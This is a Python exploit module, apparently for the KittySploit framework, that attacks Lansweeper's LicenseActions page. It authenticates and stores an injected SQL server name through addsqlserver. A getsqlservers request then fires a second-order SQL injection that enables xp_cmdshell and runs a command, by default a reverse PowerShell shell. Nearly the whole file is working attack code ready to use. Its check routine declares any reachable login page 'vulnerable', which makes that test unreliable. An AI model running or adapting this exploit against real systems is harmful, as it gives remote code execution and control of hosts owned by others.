Lansweeper LicenseActions second-order SQLi RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Lansweeper LicenseActions second-order SQLi to xp_cmdshell RCE."""

from __future__ import annotations

import json
import re
import time
from urllib.parse import urlencode

from kittysploit import *
from lib.exploit.handler import Handler
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client, Handler):
    __info__ = {
        "name": "Lansweeper LicenseActions second-order SQLi RCE",
        "description": (
            "Authenticated addsqlserver stores malicious Name; getsqlservers "
            "triggers second-order SQL injection and xp_cmdshell."
        ),
        "author": ["KittySploit Team"],
        "platform": Platform.WINDOWS,
        "arch": [Arch.CMD],
        "payload": {
            "default": "payloads/singles/cmd/windows/reverse_powershell",
            "platform": Platform.WINDOWS,
            "category": PayloadCategory.CMD,
        },
        "references": [],
        "tags": ["lansweeper", "sqli", "rce"],
        "agent": {
            "risk": "critical",
            "effects": ["active_exploitation", "remote_code_execution"],
            "expected_requests": 5,
            "reversible": False,
            "approval_required": True,
            "produces": ["rce", "shell"],
            "chain": {
                "suggested_followups": ["scanner/http/lansweeper_licenseactions_sqli_rce_detect"],
            },
        },
    }

    port = OptPort(443, "Lansweeper HTTPS port", required=True)
    ssl = OptBool(True, "Use HTTPS", required=False)
    username = OptString("admin", "Console username", required=True)
    password = OptString("", "Console password", required=True)

    def _login(self) -> bool:
        resp = self.http_request("GET", "/login.aspx", session=True)
        html = resp.text or "" if resp else ""
        m = re.search(r'id="__EVENTVALIDATION"\s+value="([^"]*)"', html, re.I)
        ev = m.group(1) if m else ""
        body = urlencode(
            {
                "__VIEWSTATE": "",
                "__EVENTVALIDATION": ev,
                "NameTextBox": str(self.username or "admin"),
                "PasswordTextBox": str(self.password or ""),
                "LoginButton": "",
                "defaultuser": "BUILT-IN ADMIN",
            }
        )
        self.http_request(
            "POST",
            "/login.aspx",
            data=body,
            headers={"Content-Type": "application/x-www-form-urlencoded"},
            session=True,
        )
        home = self.http_request("GET", "/Default.aspx", session=True)
        return bool(home and len(home.text or "") > 50000)

    def execute(self, cmd: str) -> str:
        if not self._login():
            return "login failed — check credentials"
        safe = cmd.replace("'", "''")
        text1 = (
            "x%'; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; "
            f"EXEC xp_cmdshell '{safe}'--"
        )
        sel = json.dumps([[text1, "z", "assetname"]])
        add = self.http_request(
            "POST",
            "/Software/licenses/LicenseActions.aspx?action=addsqlserver&id=1",
            data=urlencode({"__VIEWSTATE": "", "selected": sel}),
            headers={"Content-Type": "application/x-www-form-urlencoded"},
            session=True,
        )
        add_body = add.text or "" if add else ""
        if '"Error":true' in add_body:
            return f"addsqlserver error: {add_body[:500]}"
        trig = self.http_request(
            "GET",
            "/Software/licenses/LicenseActions.aspx?action=getsqlservers&id=1",
            session=True,
        )
        time.sleep(2)
        return (
            f"addsqlserver HTTP {getattr(add, 'status_code', '?')}\n"
            f"getsqlservers len={len(trig.text or '') if trig else 0}\n"
            f"xp_cmdshell dispatched for: {cmd}"
        )

    def check(self):
        resp = self.http_request("GET", "/login.aspx")
        if resp and int(resp.status_code or 0) < 500:
            return {
                "vulnerable": True,
                "reason": "Lansweeper login reachable",
                "confidence": "low",
            }
        return {"vulnerable": False, "reason": "Console not reachable", "confidence": "low"}

    def run(self):
        shell = self.shell_from_payload()
        if not shell:
            print_error("Set payload")
            return False
        if not str(self.password or "").strip():
            print_error("Set console password")
            return False

        chk = self.check()
        if not chk.get("vulnerable"):
            print_error(chk.get("reason", "Target not ready"))
            self.not_vulnerable()
            return False

        print_status("Second-order SQLi via LicenseActions")
        print_info(self.execute(shell))
        self.vulnerable()
        blind = bool(re.search(r"reverse|powershell|/dev/tcp|nc ", shell, re.I))
        return True if blind else True